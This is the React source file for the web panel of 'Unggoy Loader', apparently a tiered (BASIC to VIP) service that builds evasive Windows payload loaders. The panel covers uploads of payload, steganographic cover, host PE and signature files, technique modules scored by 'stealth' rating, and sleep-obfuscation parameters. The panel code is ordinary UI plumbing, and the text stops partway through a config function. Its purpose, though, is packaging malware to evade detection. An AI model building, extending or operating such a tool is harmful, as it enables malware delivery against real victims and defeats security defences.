/* Unggoy Loader - React Frontend */
const { useState, useEffect, useRef, useCallback } = React;
const { createPortal } = ReactDOM;
const APP_BUILD = 'web';
const API_BASE = '/api';
// ===== Auth Token Storage =====
function getToken() {
return localStorage.getItem('unggoy_token');
}
function setToken(token) {
localStorage.setItem('unggoy_token', token);
}
function clearToken() {
localStorage.removeItem('unggoy_token');
localStorage.removeItem('unggoy_username');
localStorage.removeItem('unggoy_role');
localStorage.removeItem('unggoy_tier');
}
function getStoredUsername() {
return localStorage.getItem('unggoy_username') || '';
}
function setStoredUsername(username) {
localStorage.setItem('unggoy_username', username);
}
function getStoredRole() {
return localStorage.getItem('unggoy_role') || 'viewer';
}
function setStoredRole(role) {
localStorage.setItem('unggoy_role', role);
}
function getStoredTier() {
return parseInt(localStorage.getItem('unggoy_tier') || '1', 10);
}
function setStoredTier(tier) {
localStorage.setItem('unggoy_tier', String(tier));
}
// ===== Tier helpers =====
var TIER_BADGE_NAMES = {1: 'BASIC', 2: 'STANDARD', 3: 'PREMIUM', 4: 'VIP'};
function TierBadge({ tier }) {
var name = TIER_BADGE_NAMES[tier] || 'BASIC';
return (
{name}
);
}
function TierRequiredTag({ tier }) {
var name = TIER_BADGE_NAMES[tier] || 'BASIC';
return (
{'\uD83D\uDD12'} {name}
);
}
// ===== API Helpers =====
async function apiFetch(path, options) {
const token = getToken();
const headers = (options && options.headers) ? { ...options.headers } : {};
if (token) {
headers['Authorization'] = 'Bearer ' + token;
}
const mergedOptions = { ...options, headers };
const resp = await fetch(API_BASE + path, mergedOptions);
// On 401, clear token and trigger re-render
if (resp.status === 401) {
clearToken();
window.dispatchEvent(new Event('unggoy-auth-expired'));
const err = await resp.json().catch(() => ({ error: 'Not authenticated' }));
throw new Error(err.detail?.error || err.error || 'Not authenticated');
}
if (!resp.ok) {
const err = await resp.json().catch(() => ({ error: resp.statusText }));
throw new Error(err.detail?.error || err.error || resp.statusText);
}
return resp.json();
}
// Authenticated raw fetch (for FormData uploads)
async function authFetch(url, options) {
const token = getToken();
const headers = (options && options.headers) ? { ...options.headers } : {};
if (token) {
headers['Authorization'] = 'Bearer ' + token;
}
const mergedOptions = { ...options, headers };
const resp = await fetch(url, mergedOptions);
if (resp.status === 401) {
clearToken();
window.dispatchEvent(new Event('unggoy-auth-expired'));
throw new Error('Not authenticated');
}
return resp;
}
async function downloadWithAuth(url, filename) {
try {
var resp = await authFetch(url, {});
if (!resp.ok) throw new Error('Download failed: ' + resp.status);
var blob = await resp.blob();
var blobUrl = URL.createObjectURL(blob);
var a = document.createElement('a');
a.href = blobUrl;
a.download = filename || 'download';
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(blobUrl);
} catch (err) {
console.error('Download error:', err);
}
}
function pad(n) {
return n < 10 ? '0' + n : '' + n;
}
function timestamp() {
const now = new Date();
return '[' + pad(now.getHours()) + ':' + pad(now.getMinutes()) + ':' + pad(now.getSeconds()) + ']';
}
function getFileSubtitle(filename) {
const ext = filename.split('.').pop().toLowerCase();
switch (ext) {
case 'exe': return 'Main Executable';
case 'bmp': return 'Steganography Payload Container';
case 'dll': return 'Dynamic Library';
case 'bin': return 'Binary Data';
default: return 'Supplementary File';
}
}
function formatDate(ts) {
if (!ts) return '--';
const d = new Date(ts * 1000);
return d.toLocaleDateString() + ' ' + d.toLocaleTimeString([], { hour: '2-digit', minute: '2-digit' });
}
// ===== Role helpers =====
function canBuild(role) {
return role === 'admin' || role === 'operator' || role === 'user';
}
function isAdmin(role) {
return role === 'admin';
}
function isTierRestricted(role) {
return role === 'user';
}
// ===== Login Screen =====
function LoginScreen({ onLogin }) {
const [username, setUsername] = useState('');
const [password, setPassword] = useState('');
const [error, setError] = useState('');
const [loading, setLoading] = useState(false);
const usernameRef = useRef(null);
useEffect(() => {
if (usernameRef.current) usernameRef.current.focus();
}, []);
async function handleSubmit(e) {
e.preventDefault();
if (!username.trim() || !password) {
setError('Username and password are required.');
return;
}
setLoading(true);
setError('');
try {
const resp = await fetch(API_BASE + '/auth/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username: username.trim(), password }),
});
if (!resp.ok) {
const err = await resp.json().catch(() => ({}));
throw new Error(err.detail?.error || 'Login failed');
}
const data = await resp.json();
setToken(data.token);
setStoredUsername(data.username);
setStoredRole(data.role || 'viewer');
setStoredTier(data.tier || 1);
onLogin(data.username, data.role || 'viewer', data.tier || 1, data.must_change_password || false);
} catch (err) {
setError(err.message || 'Login failed');
} finally {
setLoading(false);
}
}
return (
UNGGOY LOADER
AUTHENTICATION REQUIRED
SECURE ACCESS ONLY
);
}
// ===== Reusable Components =====
function SectionHeader({ title, style }) {
return (
);
}
function Divider({ style }) {
return ;
}
function RoleBadge({ role }) {
return (
{role.toUpperCase()}
);
}
function FileInput({ label, accept, fileState, onFileChange, displayName, disabled, children }) {
const inputRef = useRef(null);
const handleChange = (e) => {
if (e.target.files && e.target.files.length > 0) {
onFileChange(e.target.files[0]);
} else {
onFileChange(null);
}
};
return (
);
}
// ===== File Manager =====
function formatFileSize(bytes) {
if (bytes === 0) return '0 B';
var units = ['B', 'KB', 'MB', 'GB'];
var i = Math.floor(Math.log(bytes) / Math.log(1024));
if (i >= units.length) i = units.length - 1;
return (bytes / Math.pow(1024, i)).toFixed(i === 0 ? 0 : 1) + ' ' + units[i];
}
var FILE_CATEGORIES = [
{ key: 'payload', label: 'PAYLOAD' },
{ key: 'cover', label: 'COVER' },
{ key: 'icon', label: 'ICON' },
{ key: 'host_pe', label: 'HOST PE' },
{ key: 'signature', label: 'SIGNATURE' },
];
function FileManager({ serverDefaults, onDefaultsChanged, disabled }) {
var [collapsed, setCollapsed] = useState(true);
var [activeCategory, setActiveCategory] = useState('payload');
var [files, setFiles] = useState([]);
var [defaults, setDefaults] = useState(serverDefaults || {});
var [loading, setLoading] = useState(false);
var [uploading, setUploading] = useState(false);
var [dragover, setDragover] = useState(false);
var [deleteConfirm, setDeleteConfirm] = useState(null);
var fileInputRef = useRef(null);
// Sync defaults from parent
useEffect(function() {
setDefaults(serverDefaults || {});
}, [serverDefaults]);
// Load files when category changes
useEffect(function() {
loadFiles();
}, [activeCategory]);
function loadFiles() {
setLoading(true);
apiFetch('/files?category=' + encodeURIComponent(activeCategory))
.then(function(data) {
setFiles(data.files || []);
})
.catch(function(err) {
console.error('Failed to load files:', err);
setFiles([]);
})
.finally(function() {
setLoading(false);
});
}
function loadDefaults() {
apiFetch('/files/defaults/me')
.then(function(data) {
var d = data.defaults || {};
setDefaults(d);
if (onDefaultsChanged) onDefaultsChanged(d);
})
.catch(function() {});
}
function handleUpload(fileObj) {
if (!fileObj || disabled) return;
setUploading(true);
var fd = new FormData();
fd.append('file', fileObj);
fd.append('category', activeCategory);
authFetch(API_BASE + '/files/upload', { method: 'POST', body: fd })
.then(function(resp) {
if (!resp.ok) throw new Error('Upload failed');
return resp.json();
})
.then(function() {
loadFiles();
})
.catch(function(err) {
console.error('Upload error:', err);
})
.finally(function() {
setUploading(false);
});
}
function handleFileInputChange(e) {
if (e.target.files && e.target.files.length > 0) {
handleUpload(e.target.files[0]);
e.target.value = '';
}
}
function handleDrop(e) {
e.preventDefault();
e.stopPropagation();
setDragover(false);
if (disabled) return;
if (e.dataTransfer.files && e.dataTransfer.files.length > 0) {
handleUpload(e.dataTransfer.files[0]);
}
}
function handleDragOver(e) {
e.preventDefault();
e.stopPropagation();
if (!disabled) setDragover(true);
}
function handleDragLeave(e) {
e.preventDefault();
e.stopPropagation();
setDragover(false);
}
function handleSetDefault(fileId) {
if (disabled) return;
var body = {};
body[activeCategory] = fileId;
apiFetch('/files/defaults', {
method: 'PUT',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(body),
}).then(function(data) {
var d = data.defaults || {};
setDefaults(d);
if (onDefaultsChanged) onDefaultsChanged(d);
}).catch(function(err) {
console.error('Set default error:', err);
});
}
function handleClearDefault() {
if (disabled) return;
var body = {};
body[activeCategory] = null;
apiFetch('/files/defaults', {
method: 'PUT',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(body),
}).then(function(data) {
var d = data.defaults || {};
setDefaults(d);
if (onDefaultsChanged) onDefaultsChanged(d);
}).catch(function(err) {
console.error('Clear default error:', err);
});
}
function handleDelete(fileId) {
if (disabled) return;
apiFetch('/files/' + fileId, { method: 'DELETE' })
.then(function() {
setDeleteConfirm(null);
loadFiles();
loadDefaults();
})
.catch(function(err) {
console.error('Delete error:', err);
});
}
var currentDefault = defaults[activeCategory];
return (
{!collapsed &&
{FILE_CATEGORIES.map(function(cat) {
var isActive = cat.key === activeCategory;
var hasDefault = !!defaults[cat.key];
return (
);
})}
{/* Upload zone */}
{uploading ? (
{'\u23F3'}
UPLOADING...
) : (
{'\u2B06'}
DROP FILE HERE OR CLICK TO BROWSE
Max 50 MB
)}
{/* File list */}
{loading ? (
Loading...
) : files.length === 0 ? (
No files uploaded for this category
) : (
| NAME |
SIZE |
UPLOADED |
DEFAULT |
ACTIONS |
{files.map(function(f) {
var isDefault = currentDefault === f.id;
return (
| {f.original_name} |
{formatFileSize(f.file_size)} |
{formatDate(f.uploaded_at)} |
{isDefault ? (
{'\u2605'}
) : (
)}
|
{isDefault && (
)}
{deleteConfirm === f.id ? (
) : (
)}
|
);
})}
)}
}
);
}
function LogEntry({ entry }) {
return (
{entry.time}
{'\u00BB'}
{entry.message}
);
}
function DownloadCard({ file }) {
const isPrimary = file.type === 'primary';
return (
{isPrimary ? '\u25C6' : '\u25C7'}
{file.filename}
{file.subtitle}
);
}
function DownloadArea({ files, onDownloadAll }) {
if (!files || files.length === 0) return null;
return (
{files.map((f) => (
))}
{files.length > 1 && (
)}
);
}
function InfoTooltip({ visible, moduleKey, anchorRect, modules, infoTexts, stealthRatings, onClose }) {
const tooltipRef = useRef(null);
useEffect(() => {
if (!visible) return;
const handleClick = (e) => {
if (tooltipRef.current && !tooltipRef.current.contains(e.target) && !e.target.classList.contains('btn-info')) {
onClose();
}
};
const handleKey = (e) => {
if (e.key === 'Escape') onClose();
};
document.addEventListener('click', handleClick);
document.addEventListener('keydown', handleKey);
return () => {
document.removeEventListener('click', handleClick);
document.removeEventListener('keydown', handleKey);
};
}, [visible, onClose]);
if (!visible || !moduleKey || !anchorRect) return null;
const mod = modules[moduleKey] || {};
const infoText = infoTexts[moduleKey] || 'No description available.';
const rating = stealthRatings[moduleKey] || 0;
let stealthStars = '';
if (rating > 0) {
for (let i = 0; i < 5; i++) {
stealthStars += i < rating ? '\u2605' : '\u2606';
}
}
// Position calculation
const tooltipWidth = 360;
let left = anchorRect.right + 10;
if (left + tooltipWidth > window.innerWidth) {
left = anchorRect.left - tooltipWidth - 10;
}
if (left < 8) left = 8;
let top = anchorRect.top;
// Clamp top so tooltip doesn't overflow bottom
const maxTop = window.innerHeight - 200;
if (top > maxTop) top = maxTop;
return createPortal(
{mod.name || moduleKey}
{stealthStars && (
(Stealth: {stealthStars})
)}
{infoText}
,
document.body
);
}
// ===== Admin Panel Components =====
function ConfirmModal({ title, message, onConfirm, onCancel }) {
return (
{title}
{message}
);
}
function ResetPasswordModal({ username, onClose }) {
const [newPw, setNewPw] = useState('');
const [confirmPw, setConfirmPw] = useState('');
const [error, setError] = useState('');
const [success, setSuccess] = useState(false);
const [loading, setLoading] = useState(false);
async function handleSubmit(e) {
e.preventDefault();
setError('');
if (newPw.length < 8) { setError('Password must be at least 8 characters'); return; }
if (newPw !== confirmPw) { setError('Passwords do not match'); return; }
setLoading(true);
try {
await apiFetch('/admin/users/' + encodeURIComponent(username) + '/reset-password', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ new_password: newPw }),
});
setSuccess(true);
setTimeout(onClose, 1200);
} catch (err) {
setError(err.message || 'Failed to reset password');
} finally {
setLoading(false);
}
}
return (
RESET PASSWORD
User: {username}
{success ? (
Password reset successfully!
) : (
)}
);
}
function AdminPanel({ currentUsername }) {
const [users, setUsers] = useState([]);
const [loading, setLoading] = useState(true);
const [error, setError] = useState('');
// Create user form
const [newUsername, setNewUsername] = useState('');
const [newPassword, setNewPassword] = useState('');
const [newRole, setNewRole] = useState('operator');
const [newTier, setNewTier] = useState(1);
const [createError, setCreateError] = useState('');
const [createLoading, setCreateLoading] = useState(false);
// Modals
const [deleteTarget, setDeleteTarget] = useState(null);
const [resetTarget, setResetTarget] = useState(null);
async function loadUsers() {
try {
const data = await apiFetch('/admin/users');
setUsers(data.users || []);
setError('');
} catch (err) {
setError(err.message);
} finally {
setLoading(false);
}
}
useEffect(() => { loadUsers(); }, []);
async function handleCreateUser(e) {
e.preventDefault();
setCreateError('');
if (!newUsername.trim() || !newPassword) {
setCreateError('Username and password required');
return;
}
if (newPassword.length < 8) {
setCreateError('Password must be at least 8 characters');
return;
}
setCreateLoading(true);
try {
await apiFetch('/auth/register', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username: newUsername.trim(), password: newPassword, role: newRole, tier: newTier }),
});
setNewUsername('');
setNewPassword('');
setNewRole('user');
setNewTier(1);
loadUsers();
} catch (err) {
setCreateError(err.message || 'Failed to create user');
} finally {
setCreateLoading(false);
}
}
async function handleRoleChange(username, role) {
try {
await apiFetch('/admin/users/' + encodeURIComponent(username) + '/role', {
method: 'PUT',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ role: role }),
});
loadUsers();
} catch (err) {
setError(err.message);
}
}
async function handleTierChange(username, tier) {
try {
await apiFetch('/admin/users/' + encodeURIComponent(username) + '/tier', {
method: 'PUT',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ tier: parseInt(tier, 10) }),
});
loadUsers();
} catch (err) {
setError(err.message);
}
}
async function handleDeleteUser() {
if (!deleteTarget) return;
try {
await apiFetch('/admin/users/' + encodeURIComponent(deleteTarget), {
method: 'DELETE',
});
setDeleteTarget(null);
loadUsers();
} catch (err) {
setError(err.message);
setDeleteTarget(null);
}
}
return (
{/* Create User Form */}
{createError &&
{createError}
}
{/* Error display */}
{error && {error}
}
{/* User Table */}
{loading ? (
Loading users...
) : (
| USERNAME |
ROLE |
TIER |
CREATED |
ACTIONS |
{users.map(function(user) {
const isSelf = user.username === currentUsername;
return (
|
{user.username}
{isSelf && YOU}
|
{isSelf ? (
) : (
)}
|
{isSelf ? (
) : (
)}
|
{formatDate(user.created_at)} |
{!isSelf && (
)}
|
);
})}
)}
{/* Delete Confirm Modal */}
{deleteTarget && (
)}
{/* Reset Password Modal */}
{resetTarget && (
)}
);
}
// ===== Main App =====
function App() {
// --- Auth state ---
const [authed, setAuthed] = useState(!!getToken());
const [currentUsername, setCurrentUsername] = useState(getStoredUsername());
const [currentRole, setCurrentRole] = useState(getStoredRole());
const [currentTier, setCurrentTier] = useState(getStoredTier());
const [mustChangePassword, setMustChangePassword] = useState(false);
// Listen for auth expiration events (401 responses)
useEffect(() => {
function handleExpired() {
setAuthed(false);
setCurrentUsername('');
setCurrentRole('viewer');
setCurrentTier(1);
setMustChangePassword(false);
}
window.addEventListener('unggoy-auth-expired', handleExpired);
return () => window.removeEventListener('unggoy-auth-expired', handleExpired);
}, []);
// On mount, fetch fresh role and tier from /auth/me
useEffect(() => {
if (!authed) return;
apiFetch('/auth/me').then(function(data) {
setCurrentRole(data.role || 'viewer');
setStoredRole(data.role || 'viewer');
setCurrentTier(data.tier || 1);
setStoredTier(data.tier || 1);
if (data.must_change_password) setMustChangePassword(true);
}).catch(function() {
// ignore - token may be expired, handled by 401
});
}, [authed]);
function handleLogin(username, role, tier, mustChange) {
setCurrentUsername(username);
setCurrentRole(role || 'viewer');
setCurrentTier(tier || 1);
setAuthed(true);
if (mustChange) setMustChangePassword(true);
}
function handleLogout() {
clearToken();
setAuthed(false);
setCurrentUsername('');
setCurrentRole('viewer');
setCurrentTier(1);
setMustChangePassword(false);
}
if (!authed) {
return ;
}
// Force password change before allowing access
if (mustChangePassword) {
return (
UNGGOY LOADER
{'\u26A0'} PASSWORD CHANGE REQUIRED
You must change your default password before continuing.
);
}
return ;
}
function ChangePasswordModal({ onClose, forced }) {
const [oldPw, setOldPw] = useState('');
const [newPw, setNewPw] = useState('');
const [confirmPw, setConfirmPw] = useState('');
const [error, setError] = useState('');
const [success, setSuccess] = useState(false);
async function handleSubmit(e) {
e.preventDefault();
setError('');
if (newPw.length < 8) { setError('New password must be at least 8 characters'); return; }
if (newPw !== confirmPw) { setError('Passwords do not match'); return; }
try {
var resp = await authFetch(API_BASE + '/auth/change-password', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ old_password: oldPw, new_password: newPw })
});
if (!resp.ok) {
var data = await resp.json().catch(function() { return {}; });
setError(data.detail?.error || data.detail || data.error || 'Failed to change password');
return;
}
setSuccess(true);
setTimeout(onClose, 1500);
} catch (err) {
setError('Network error');
}
}
function handleBackdropClick(e) {
if (!forced && e.target === e.currentTarget) onClose();
}
return (
{!forced &&
CHANGE PASSWORD
}
{success ? (
Password changed successfully!
) : (
)}
);
}
function MainApp({ username, role, tier, onLogout }) {
// --- Connection state ---
const [status, setStatus] = useState('connecting');
const [version, setVersion] = useState('v--');
const [showChangePw, setShowChangePw] = useState(false);
const [mingwAvailable, setMingwAvailable] = useState(false);
// --- User menu ---
const [showUserMenu, setShowUserMenu] = useState(false);
const userMenuRef = useRef(null);
// --- View routing ---
const [currentView, setCurrentView] = useState('main');
// --- Profile delete ---
const [profileDeleteConfirm, setProfileDeleteConfirm] = useState(false);
// --- Module definitions ---
const [modules, setModules] = useState({});
const [stealthRatings, setStealthRatings] = useState({});
const [infoTexts, setInfoTexts] = useState({});
const [exclusiveGroups, setExclusiveGroups] = useState({});
const [checkboxGroups, setCheckboxGroups] = useState([]);
const [paramsMap, setParamsMap] = useState({});
const [techniqueTiers, setTechniqueTiers] = useState({});
const [tierNames, setTierNames] = useState({});
// --- User selections ---
const [files, setFiles] = useState({
payload: null, cover: null, icon: null, host_pe: null, sig_source: null
});
const [outputName, setOutputName] = useState('Unggoy.exe');
const [overrideIcon, setOverrideIcon] = useState(false);
const [debugMode, setDebugMode] = useState(true);
const [dropdownSelections, setDropdownSelections] = useState({}); // groupName -> displayName
const [checkboxStates, setCheckboxStates] = useState({}); // moduleKey -> boolean
const [paramValues, setParamValues] = useState({}); // paramKey -> string value
// --- Stealth ---
const [stealthScore, setStealthScore] = useState(0);
const [stealthStars, setStealthStars] = useState('');
// --- Build ---
const [buildStatus, setBuildStatus] = useState('idle');
const [buildId, setBuildId] = useState(null);
const [logs, setLogs] = useState([]);
const [downloadFiles, setDownloadFiles] = useState([]);
const buildWsRef = useRef(null);
const consoleRef = useRef(null);
// --- Profiles ---
const [profiles, setProfiles] = useState([]);
const [selectedProfile, setSelectedProfile] = useState('');
// --- Server file defaults ---
const [serverDefaults, setServerDefaults] = useState({}); // {category: file_id}
const [serverDefaultInfo, setServerDefaultInfo] = useState({}); // {category: {id, original_name, ...}}
// --- Tooltip ---
const [tooltip, setTooltip] = useState({ visible: false, moduleKey: null, anchorRect: null });
// --- Derived: which dropdown options map to which module keys ---
const dropdownOptionsMap = useRef({}); // { groupName: { displayName: moduleKey } }
// --- Role checks ---
const userCanBuild = canBuild(role);
const userIsAdmin = isAdmin(role);
const isViewer = role === 'viewer';
const userTier = tier || 1;
function isTechniqueLocked(moduleKey) {
// Only "user" role is restricted by tier. Admin and operator have full access.
if (!isTierRestricted(role)) return false;
var reqTier = techniqueTiers[moduleKey];
if (reqTier === undefined) return false;
return userTier < reqTier;
}
function getTechniqueRequiredTier(moduleKey) {
return techniqueTiers[moduleKey] || 1;
}
// ===== INIT =====
useEffect(() => {
async function init() {
try {
const [health, modulesData] = await Promise.all([
apiFetch('/health'),
apiFetch('/modules'),
]);
setVersion('v' + health.version);
setMingwAvailable(health.mingw);
setStatus(health.mingw ? 'online' : 'online');
const mods = modulesData.modules || {};
const sr = modulesData.stealth_ratings || {};
const it = modulesData.info_texts || {};
const eg = modulesData.exclusive_groups || {};
const cg = modulesData.checkbox_groups || [];
const pm = modulesData.params_map || {};
const tt = modulesData.technique_tiers || {};
const tn = modulesData.tier_names || {};
setModules(mods);
setStealthRatings(sr);
setInfoTexts(it);
setExclusiveGroups(eg);
setCheckboxGroups(cg);
setParamsMap(pm);
setTechniqueTiers(tt);
setTierNames(tn);
// Init dropdown selections with defaults
const dSel = {};
const dOpts = {};
Object.keys(eg).forEach((groupName) => {
const options = eg[groupName];
const optNames = Object.keys(options);
dOpts[groupName] = options;
let defaultName = optNames[0];
for (let i = 0; i < optNames.length; i++) {
const modKey = options[optNames[i]];
if (mods[modKey] && mods[modKey].default) {
defaultName = optNames[i];
break;
}
}
dSel[groupName] = defaultName;
});
dropdownOptionsMap.current = dOpts;
setDropdownSelections(dSel);
// Init checkbox states with defaults
const cStates = {};
cg.forEach((group) => {
const keys = group[1];
keys.forEach((key) => {
if (mods[key]) {
cStates[key] = !!mods[key].default;
}
});
});
setCheckboxStates(cStates);
// Init param values with defaults
const pVals = {};
Object.keys(pm).forEach((moduleKey) => {
pm[moduleKey].forEach((p) => {
pVals[p[1]] = p[2]; // paramKey = default value
});
});
setParamValues(pVals);
// Load profiles and server file defaults
loadProfileList();
loadServerDefaults();
} catch (err) {
setStatus('offline');
console.error('Init failed:', err);
}
}
init();
}, []);
// ===== Auto-scroll console =====
useEffect(() => {
if (consoleRef.current) {
consoleRef.current.scrollTop = consoleRef.current.scrollHeight;
}
}, [logs]);
// ===== Stealth calculation =====
useEffect(() => {
if (Object.keys(modules).length === 0) return;
computeStealth();
}, [dropdownSelections, checkboxStates, modules, stealthRatings]);
function computeStealth() {
let totalScore = 0;
let count = 0;
const opts = dropdownOptionsMap.current;
Object.keys(dropdownSelections).forEach((groupName) => {
const displayName = dropdownSelections[groupName];
const options = opts[groupName] || {};
const moduleKey = options[displayName] || '';
totalScore += stealthRatings[moduleKey] || 0;
count += 1;
});
Object.keys(checkboxStates).forEach((key) => {
if (checkboxStates[key]) {
totalScore += stealthRatings[key] || 0;
count += 1;
}
});
const avg = count > 0 ? totalScore / count : 0;
const rounded = Math.round(avg);
let stars = '';
for (let i = 0; i < 5; i++) {
stars += i < rounded ? '\u2605' : '\u2606';
}
setStealthScore(avg);
setStealthStars(stars);
}
// ===== Host PE logic =====
const hasHostPe = files.host_pe !== null || !!serverDefaults['host_pe'];
const iconDisabled = hasHostPe && !overrideIcon;
function handleHostPeChange(file) {
setFiles((prev) => ({ ...prev, host_pe: file }));
if (file && !checkboxStates['pe_run']) {
setCheckboxStates((prev) => ({ ...prev, pe_run: true }));
}
}
// ===== Param activity: is a param's parent module active? =====
function isParamActive(moduleKey) {
// Check checkbox
if (checkboxStates[moduleKey] !== undefined) {
return checkboxStates[moduleKey];
}
// Check if selected in a dropdown
const opts = dropdownOptionsMap.current;
for (const groupName of Object.keys(opts)) {
const displayName = dropdownSelections[groupName];
const selectedKey = opts[groupName][displayName];
if (selectedKey === moduleKey) return true;
}
return false;
}
// ===== Logging =====
function addLog(message, tag) {
setLogs((prev) => [...prev, { message, tag: tag || 'dim', time: timestamp() }]);
}
// ===== User menu: close on outside click =====
useEffect(function() {
if (!showUserMenu) return;
function handleClickOutside(e) {
if (userMenuRef.current && !userMenuRef.current.contains(e.target)) {
setShowUserMenu(false);
}
}
document.addEventListener('mousedown', handleClickOutside);
return function() {
document.removeEventListener('mousedown', handleClickOutside);
};
}, [showUserMenu]);
// ===== Profile management =====
async function loadProfileList() {
try {
const data = await apiFetch('/profiles');
setProfiles(data.profiles || []);
} catch (err) {
console.error('Failed to load profiles:', err);
}
}
async function handleDeleteProfile() {
if (!selectedProfile || isViewer) return;
try {
await apiFetch('/profiles/' + encodeURIComponent(selectedProfile), {
method: 'DELETE',
});
addLog("Profile deleted: '" + selectedProfile + "'", 'info');
setSelectedProfile('');
setProfileDeleteConfirm(false);
loadProfileList();
} catch (err) {
addLog('Failed to delete profile: ' + err.message, 'error');
setProfileDeleteConfirm(false);
}
}
async function loadServerDefaults() {
try {
var data = await apiFetch('/files/defaults/me');
var defs = data.defaults || {};
setServerDefaults(defs);
// Fetch metadata for each default file
var info = {};
var promises = Object.keys(defs).map(async function(cat) {
try {
var meta = await apiFetch('/files/' + defs[cat]);
info[cat] = meta;
} catch (e) { /* ignore missing */ }
});
await Promise.all(promises);
setServerDefaultInfo(info);
} catch (err) {
// ignore
}
}
function handleServerDefaultsChanged(newDefaults) {
setServerDefaults(newDefaults);
// Re-fetch metadata
var info = {};
var promises = Object.keys(newDefaults).map(async function(cat) {
try {
var meta = await apiFetch('/files/' + newDefaults[cat]);
info[cat] = meta;
} catch (e) { /* ignore */ }
});
Promise.all(promises).then(function() {
setServerDefaultInfo(info);
});
// Auto-enable pe_run when host_pe default is set, disable when cleared
if (newDefaults['host_pe']) {
setCheckboxStates(function(prev) { return Object.assign({}, prev, { pe_run: true }); });
} else {
// Only auto-disable if no local host_pe file either
if (!files.host_pe) {
setCheckboxStates(function(prev) { return Object.assign({}, prev, { pe_run: false }); });
}
}
}
function getFileDisplayName(category) {
// If local file selected, show it
if (files[category]) return files[category].name;
// Map local state keys to server category keys
var serverCat = category === 'sig_source' ? 'signature' : category;
// If server default exists, show server file indicator
var info = serverDefaultInfo[serverCat];
if (info) return '\u2601 ' + info.original_name;
return 'No file selected';
}
function hasFileForCategory(category) {
return !!files[category] || !!serverDefaults[category];
}
function clearLocalFile(category) {
setFiles(function(prev) {
var next = Object.assign({}, prev);
next[category] = null;
return next;
});
// Also clear server default if one is set for this category
var serverCat = category === 'sig_source' ? 'signature' : category;
if (serverDefaults[serverCat]) {
var body = {};
body[serverCat] = null;
apiFetch('/files/defaults', {
method: 'PUT',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(body),
}).then(function(data) {
handleServerDefaultsChanged(data.defaults || {});
}).catch(function(err) {
console.error('Failed to clear server default:', err);
});
}
// If clearing host_pe, deactivate pe_run
if (category === 'host_pe') {
setCheckboxStates(function(prev) { return Object.assign({}, prev, { pe_run: false }); });
}
}
async function handleLoadProfile() {
if (!selectedProfile) {
addLog('No profile selected.', 'error');
return;
}
try {
const config = await apiFetch('/profiles/' + encodeURIComponent(selectedProfile));
applyProfile(config);
addLog("Profile loaded: '" + selectedProfile + "'", 'info');
} catch (err) {
addLog('Failed to load profile: ' + err.message, 'error');
}
}
function applyProfile(config) {
const gs = config.global_settings || {};
if (gs.out_name) setOutputName(gs.out_name);
if (typeof config.build_mode === 'boolean') {
setDebugMode(config.build_mode);
}
// Dropdowns
const dropdowns = config.dropdowns || {};
setDropdownSelections((prev) => {
const next = { ...prev };
Object.keys(dropdowns).forEach((groupName) => {
if (next[groupName] !== undefined) {
next[groupName] = dropdowns[groupName];
}
});
return next;
});
// Checkboxes
const checkboxes = config.checkboxes || {};
setCheckboxStates((prev) => {
const next = { ...prev };
Object.keys(checkboxes).forEach((key) => {
if (next[key] !== undefined) {
next[key] = !!checkboxes[key];
}
});
return next;
});
// Params
const params = config.params || {};
setParamValues((prev) => {
const next = { ...prev };
Object.keys(params).forEach((pk) => {
if (next[pk] !== undefined) {
next[pk] = params[pk];
}
});
return next;
});
// Server files from profile
if (config.server_files) {
// Apply server_files as defaults
apiFetch('/files/defaults', {
method: 'PUT',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(config.server_files),
}).then(function(data) {
handleServerDefaultsChanged(data.defaults || {});
}).catch(function() {});
}
}
async function handleSaveProfile() {
if (isViewer) return;
const name = prompt('Enter profile name:');
if (!name || !name.trim()) return;
const trimmed = name.trim();
const config = collectConfig();
try {
await apiFetch('/profiles/' + encodeURIComponent(trimmed), {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(config),
});
addLog("Profile saved: '" + trimmed + "'", 'info');
loadProfileList();
} catch (err) {
addLog('Failed to save profile: ' + err.message, 'error');
}
}
// ===== Reset Defaults =====
function handleResetDefaults() {
// Reset dropdowns
const opts = dropdownOptionsMap.current;
const dSel = {};
Object.keys(opts).forEach((groupName) => {
const options = opts[groupName];
const optNames = Object.keys(options);
let defaultName = optNames[0];
for (let i = 0; i < optNames.length; i++) {
const modKey = options[optNames[i]];
if (modules[modKey] && modules[modKey].default) {
defaultName = optNames[i];
break;
}
}
dSel[groupName] = defaultName;
});
setDropdownSelections(dSel);
// Reset checkboxes
const cStates = {};
checkboxGroups.forEach((group) => {
group[1].forEach((key) => {
cStates[key] = modules[key] ? !!modules[key].default : false;
});
});
setCheckboxStates(cStates);
// Reset params
const pVals = {};
Object.keys(paramsMap).forEach((moduleKey) => {
paramsMap[moduleKey].forEach((p) => {
pVals[p[1]] = p[2];
});
});
setParamValues(pVals);
}
// ===== Collect Config =====
function collectConfig() {
const opts = dropdownOptionsMap.current;
// Dropdown selections as moduleKey
const dSelKeys = {};
Object.keys(dropdownSelections).forEach((groupName) => {
const displayName = dropdownSelections[groupName];
dSelKeys[groupName] = opts[groupName][displayName] || '';
});
// Active checkboxes
const activeModules = [];
Object.keys(checkboxStates).forEach((key) => {
if (checkboxStates[key]) activeModules.push(key);
});
// Params with sleep_time/gargoyle_sleep conversion (sec -> ms)
const buildParams = {};
Object.keys(paramValues).forEach((pk) => {
let val = paramValues[pk];
if (pk === 'sleep_time') {
try { val = String(Math.round(parseFloat(val) * 1000)); }
catch (e) { val = '5000'; }
}
if (pk === 'gargoyle_sleep') {
try { val = String(Math.round(parseFloat(val) * 1000)); }
catch (e) { val = '30000'; }
}
buildParams[pk] = val;
});
// Build server_files mapping for categories without a local file
var sfMap = {};
var catKeys = ['payload', 'cover', 'icon', 'host_pe', 'signature'];
